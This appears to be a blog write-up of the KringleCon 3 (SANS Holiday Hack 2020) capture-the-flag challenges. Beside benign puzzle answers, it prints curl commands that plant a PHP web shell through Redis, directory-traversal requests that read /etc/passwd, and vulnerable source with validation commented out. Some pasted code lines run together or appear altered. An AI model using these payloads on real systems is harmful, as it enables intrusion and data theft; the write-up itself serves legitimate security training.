KringleCon 3: French Hens (2020)

0xNeel
14 min readJan 27, 2021

--

My Journey into Santa’s Castle

INDEX

Terminal: Kringle Kiosk

Terminal: Investigate S3 Bucket

Terminal: Unescape Tmux

Terminal: The Elf Code

️Terminal: Redis Bug Hunt

️Terminal: Linux Primer

️Terminal: Santa Shop

Terminal: Speaker UNPrep

Terminal: Sort-o-matic

Terminal: Tag Generator

Terminal: Scapy Prepper

Terminal: CAN-Bus Investigation

Objective 1: Uncover Santa’s Gift List

Objective 2: Investigate S3 Bucket

Objective 3: Point-of-Sale Password Recovery

Objective 4: Operate the Santavator

Objective 5: Open HID Lock

Objective 6: Splunk Challenge

Objective 7: Solve the Sleigh’s CAN-D-BUS Problem

Objective 8: Broken Tag Generator

Objective 10: Defeat Fingerprint Sensor

CONTENT

🎯Objective 1: Uncover Santa’s Gift List

Santa’s Personal Gift list:

https://kringlecon.com/textures/billboard.png

Open the image in Photopea (Online Photo Editor) and using lasso select the correct area.

Go to Filter → Distort → Twirl. After adjusting the twirl angle, I can read Josh Wright will get proxmark.

🖥️ Terminal: Kringle Kiosk

This was super easy.

🖥️ Terminal: Investigate S3 Bucket

Content of README file:

After executing bucket_finder.rb script, we found one bucket named ‘Santa’ but access is denied.

elf@4f16dec4601f:~/bucket_finder$ ./bucket_finder.rb --download wordlist 
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa

From Shinny Upatree’s hint, I added the new word ‘wrapper3000’ in the wordlist and got a bucket.

I downloaded this file on my local machine, now it’s time to decode this package and find the message.

After printing its content I see a package file with a lot of nested extensions. So original file must be wrapped be by (at least) these encoding methods.

🎯Objective 2: Investigate S3 Bucket

→ The solution in Terminal: Investigate S3 Bucket.

🖥️Terminal: Unescape Tmux

🖥️Terminal: The Elf Code

Level 1:

elf.moveTo(lollipop[0]) 
elf.moveUp(10)

Level 2:

elf.moveTo(lever[0])
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)

Level 3:

elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)

Level 4:

for (i = 1; i < 4; i++) elf.moveLeft(i), elf.moveUp(11), elf.moveLeft(2), elf.moveDown(11);

Level 5:

elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
arr = []
ip = elf.ask_munch(0)
for (i in ip) {
if (typeof(ip[i]) == 'number') {
arr.push(ip[i])
}
}
elf.tell_munch(arr)
elf.moveUp(2)

Compressed Code:

for(i in elf.moveTo(lollipop[1]),elf.moveTo(lollipop[0]),arr=[],ip=elf.ask_munch(0),ip)"number"==typeof ip[i]&&arr.push(ip[i]);elf.tell_munch(arr),elf.moveUp(2);

Level 6:

for (i=0; i<4; i++) {
elf.moveTo(lollipop[i])
}
elf.moveLeft(8)
elf.moveUp(2)
ip = elf.ask_munch(0)
elf.tell_munch(Object.keys(ip).find(key => ip[key] === 'lollipop'))
elf.moveUp(2)

🖥️Terminal: Redis Bug Hunt

The following resources were helpful for solving this challenge:

https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

In redis-cli, for command ping if respond is pong, no authentication is required.

So we need to authenticate to use redis-cli. Hence maintainance.php page is the only one to access it.

After trying the info command through curl, I see these API calls are executed by authenticated user/account.

After trying the below 2 commands,

I see I need to properly format my command to see the output. URL encoding is not working here.

After a few trials and errors, I found comma is working to execute space-separated commands.

And now I can execute the ‘client list’ command.

From the resource we can get index.php by executing the below commands:

curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/htmlcurl http://localhost/maintenance.php?cmd=config,set,dbfilename,shell.phpsystem($_GET['c'])curl http://localhost/maintenance.php?cmd=set,test,\\<\?php+system\(\$\_GET\[%22c%22\]\)\;+\?\>curl http://localhost/maintenance.php?cmd=save

🖥️Terminal: 33.6 kbps

[Not Solved]

🖥️Terminal: Linux Primer

This challenge was more of a basic guide for Linux commands. So I skip all the intermediate steps.

🖥️Terminal: Santa Shop

I downloaded santa-shop.exe on my Windows machine and extracted it using 7zip.

And searched for asar file and found app.asar.

In app.asar I found the password.

🎯Objective 3: Point-of-Sale Password Recovery

After completing the Terminal: Santa Shop challenge.

Password: santapass

🎯Objective 4: Operate the Santavator

🖥️Terminal: Speaker UNPrep

🖥️Terminal: Mersenne Twister

[Not Solved]

🖥️Terminal: Sort-o-matic

1. Matches at least one digit\d2. Matches 3 alpha a-z characters ignoring case[a-zA-Z]{3}3. Matches 2 chars of lowercase a-z or numbers[a-z\d]{2}4. Matches any 2 chars not uppercase A-L or 1-5[^A-L1-5]{2}5. Matches three or more digits only^[0-9]{3,}$6. Matches multiple hour:minute:second time formats only^(((0|1)\d)|(2[0-3])|\d):([0-5]\d):([0-5]\d)$7. Matches MAC address format only while ignoring case^[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}$8. Matches multiple day, month, and year date formats only^(([0-2]\d|3[0-1])\/.-[\/.-]\d{4})$

🖥️Terminal: Tag Generator

→ Covered in Objective 8: Broken Tag Generator

🖥️Terminal: Scapy Prepper

Task #1

task.submit(send)

Task #2

task.submit(sniff)

Task #3

task.submit(1)

Task #4

task.submit(rdpcap)

Task #5

task.submit(2)

Task #6

task.submit(UDP_PACKETS[0])

Task #7

task.submit(TCP_PACKETS[1][TCP])

Task #8

UDP_PACKETS[0].src="127.0.0.1"task.submit(UDP_PACKETS[0])

Task #9

task.submit('echo')

Task #10

task.submit(ICMP_PACKETS[1][ICMP].chksum)

Task #11

task.submit(3)

Task #12

task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))

Task #13

task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa')))

Task #14

This was a bit time-consuming for me, so had a look at the hint.

🖥️Terminal: CAN-Bus Investigation

🎯Objective 5: Open HID Lock

Hint:

I captured the following HIDs from as many elves as possible, and stand at Door’s card reader and opening door.

Holly Evergreen
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
Angel Candysalt
#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040
Shinny Upatree
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

Sparkle Redberry
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022

The door unlocked using Shinny Upatree’s ID!

🎯Objective 6: Splunk Challenge

Question 1. How many distinct MITRE ATT&CK techniques did Alice emulate?

Answer: 13

Count total number of unique Technique names.

Question 2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

Answer: t1059.003-main t1059.003-win

Question 3. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

Answer: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.yaml

Question 4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

Answer: 2020–11–30T17:44:15Z

Question 5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

Answer: 3648

Search query: index=”T1123*” EventCode=1 AND NOT SplunkUniversalForwarder AND NOT -EncodedCommand

Answer is ParentProcessID

Question 6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

Answer: quser

Search query: index=”T1547*” .bat

https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat

Question 7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

Answer: 55FCEEBB21270D9249E86F4B9DC7AA60

Search query: index=* sourcetype=”bro:x509:json” “certificate.subject”=”CN=win-dc-748.attackrange.local”

All Training Question Answers:

Challenge Question: What is the name of the adversary group that Santa feared would attack KringleCon?

Answer: The Lollipop Guild

Base64 Encoded Phrase is: 7FXjP1lyfKbyDK/MChyf36h7

It is encrypted with an old algorithm that uses a key.

Key/passphrase: Stay Frosty

Hint: Decode that base64 encoded phrase, using the passphrase.

🎯Objective 7: Solve the Sleigh’s CAN-D-BUS Problem

Hints:

After filtering out the noise, my final answer:

19BEquals0000000F2057 
080Less000000000000

🎯Objective 8: Broken Tag Generator

When I tried to upload txt I got below error. In error message it shows the path to app.rb (source code) and location where it saved my uploaded txt file.

So I captured this request in Burp Suite, and I was able to access the Local file system using directory traversal.

GET /image?id=../../../etc/passwd HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

Samy way I captured app.rb (source code)

GET /image?id=app.rb HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

app.rb code:

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'
# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER
require 'rubygems'require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'
require 'zip'
require 'sinatra/cookies'
require 'cgi'
require 'digest/sha1'LOGGER = ::SingLogger.instance()MAX_SIZE = 1024**2*5 # 5mb# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
CGI.escapeHTML html
end
def handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")
if entry.size > MAX_SIZE
raise 'File too large when extracted'
end
if entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}
# Process it
out_files << process_file(out_file)
end
end
return out_files
end
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
def process_file(filename)
out_files = []
if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
else
raise "Unsupported file type: #{ filename }"
end
return out_files
end
def process_files(files)
return files.map { |f| process_file(f) }.flatten()
end
module TagGenerator
class Server < Sinatra::Base
helpers Sinatra::Cookies
def initialize(*args)
super(*args)
end
configure do
if(defined?(PARAMS))
set :port, PARAMS[:port]
set :bind, PARAMS[:host]
end
set :raise_errors, false
set :show_exceptions, false
end
error do
return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
end
not_found do
return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
end
get '/' do
erb(:index)
end
post '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()
content_type :json
images.to_json
end
get '/clear' do
cookies.delete(:images)
redirect '/'
end
get '/image' do
if !params['id']
raise 'ID is missing!'
end
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
content_type 'image/jpeg'filename = "#{ FINAL_FOLDER }/#{ env['GREETZ'] }"
print "#{ env['GREETZ'] }"
if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
end
get '/share' do
if !params['id']
raise 'ID is missing!'
end
filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"if File.exists?(filename)
erb(:share, :locals => { id: params['id'] })
else
return 404, "Image not found!"
end
end
post '/save' do
payload = params
payload = JSON.parse(request.body.read)
data_url = payload['dataURL']
png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])
out_hash = Digest::SHA1.hexdigest png
out_filename = "#{ out_hash }.png"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

LOGGER.debug("output: #{out_path}")
File.open(out_path, 'wb') { |f| f.write(png) }
{ id: out_hash }.to_json
end
end
end

Final HTTP Request

GET /image?id=GREETZ HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

Response:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 09:17:18 GMT
Content-Type: image/jpeg
Content-Length: 17
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
JackFrostWasHere

Answer: JackFrostWasHere

🎯Objective 9: ARP Shenanigans

[Not Solved]

🎯Objective 10: Defeat Fingerprint Sensor

Normal user request:

POST / HTTP/1.1
Host: elevator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: https://elevator.kringlecastle.com
Connection: close
Referer: https://elevator.kringlecastle.com/?challenge=elevator2&id=596559dc-7121-4925-9664-0c5d4e14a314&username=gneelwarna&area=santavator2&location=1,2&tokens=marble,nut2,nut,candycane,ball,yellowlight,elevator-key,greenlight,redlight,workshop-button
{"targetFloor":"2","id":"596559dc-7121-4925-9664-0c5d4e14a314"}

Santa’s request:

POST / HTTP/1.1
Host: elevator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: https://elevator.kringlecastle.com
Connection: close
Referer: https://elevator.kringlecastle.com/?challenge=santamode-elevatorr&id=ff50c3e3-9d5f-4ed8-a002-ebb98f1803a3&username=gneelwarna&area=santamode-santavator5&location=1,2&tokens=marble,nut2,nut,candycane,ball,yellowlight,elevator-key,greenlight,redlight,workshop-button,besanta
{"targetFloor":"3","id":"ff50c3e3-9d5f-4ed8-a002-ebb98f1803a3"}

I see one extra token in Santa's request (highlighted in bold).

Also, After checking click action on the fingerprint scanner in the elevator’s panel, we can confirm that the web-app is checking the presence of ‘besanta’ token in a request.

A snippet of source code:

<snippet>...
cover.addEventListener('click', () => {
if (btn4.classList.contains('powered') && hasToken('besanta')) {
$.ajax({
type: 'POST',
url: POST_URL,
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({
targetFloor: '3',
id: getParams.id,
}),
success: (res, status) => {
if (res.hash) {
__POST_RESULTS__({
resourceId: getParams.id || '1111',
hash: res.hash,
action: 'goToFloor-3',
});
}
}
});
...<snippet>

So I checked for tokens list in source code and added besanta in token list.

And then after clicking Finger-print scanner, wallah!

I got access to the 3rd floor as a normal user and the objective unlocked.

🎯Objective 11a: Naughty/Nice List with Blockchain Investigation Part 1

[Not Solved]

🎯Objective 11b: Naughty/Nice List with Blockchain Investigation Part 2

[Not Solved]

--

--